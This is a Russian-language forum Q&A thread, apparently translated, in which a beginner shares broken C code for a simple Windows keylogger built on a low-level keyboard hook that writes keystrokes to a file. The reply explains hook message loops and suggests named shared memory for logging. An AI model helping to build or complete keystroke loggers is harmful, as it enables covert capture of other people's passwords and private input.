Не знаю, как правильно редактировать этот код - PullRequest
0 голосов
/ 22 февраля 2019

Ну, я все еще немного новичок в C.

Допустим, у меня есть этот код:

source.c

#include "logger.c"

int main{
FILE *myfile1;
fileX = fopen("myfile.txt, a+);

SetHook(fileX);
}

, а затем у меня очень простой кейлоггер
logger.c

HHOOK _hook;
KBDLLHOOKSTRUCT kbdStruct;

LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
    if (nCode >= 0)
    {
        if (wParam == WM_KEYDOWN)
        {


            // PRINT INTO THE FILE
            kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
            fprintf(fileX, "%c", kbdStruct.vkCode);


        }
    }
    return CallNextHookEx(_hook, nCode, wParam, lParam);
}

void SetHook(fileX)
{
    _hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0)
}

В основном я хочу разделить код, подобный этому.

Но я думаю, что это неправильно, мне нужно передать этот "fileX" не в функцию setHOOK (), а в "LRESULT __stdcall ...", и я не знаю, как это сделать.
Я будубудь благодарен за любую помощь.

1 Ответ

0 голосов
/ 27 февраля 2019

WH_KEYBOARD_LL - глобальный хук, вам нужно поместить его процедуру подключения в DLL отдельно от приложения, устанавливающего процедуру подключения.(Для простых целей вы можете поместить процедуру подключения в ваше приложение, и она также работает. Но это не рекомендуемый способ.)

( Функция SetWindowsHookExA Использование крючков )

Этот хук вызывается в контексте потока, который его установил.Вызов осуществляется путем отправки сообщения в поток, который установил хук.Поэтому поток, который установил ловушку, должен иметь цикл сообщений.(Другими словами, у приложения должно быть окно, чтобы оно могло продолжать качать сообщения.)

( Функция обратного вызова LowLevelKeyboardProc )

Для изученияловушка, мое предложение начинается с использования шаблона рабочего стола Windows Studio для Windows (C ++).

enter image description here

Зарегистрировать ловушку клавиатуры и получить сообщение просто.в ловушке.

А для записи в файл в обработчике ловушек вы можете создать именованную карту файлов, чтобы вам не нужно было передавать дескриптор файла в ловушку.Вы можете открыть эту карту файлов, используя ее имя, и записать в файл, используя эту карту файлов.( Создание именованной общей памяти )

static HHOOK hhookKeyPress;

hhookKeyPress = SetWindowsHookEx(
WH_KEYBOARD_LL,
KeyboardHookCallback,
NULL,
0);

// Main message loop:
while (GetMessage(&msg, nullptr, 0, 0))
{
    if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
}

Обмен приведенной выше информацией поможет вам начать работу, а затем вы сможете найти способ программирования на C позже.Надеюсь, это поможет.

Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...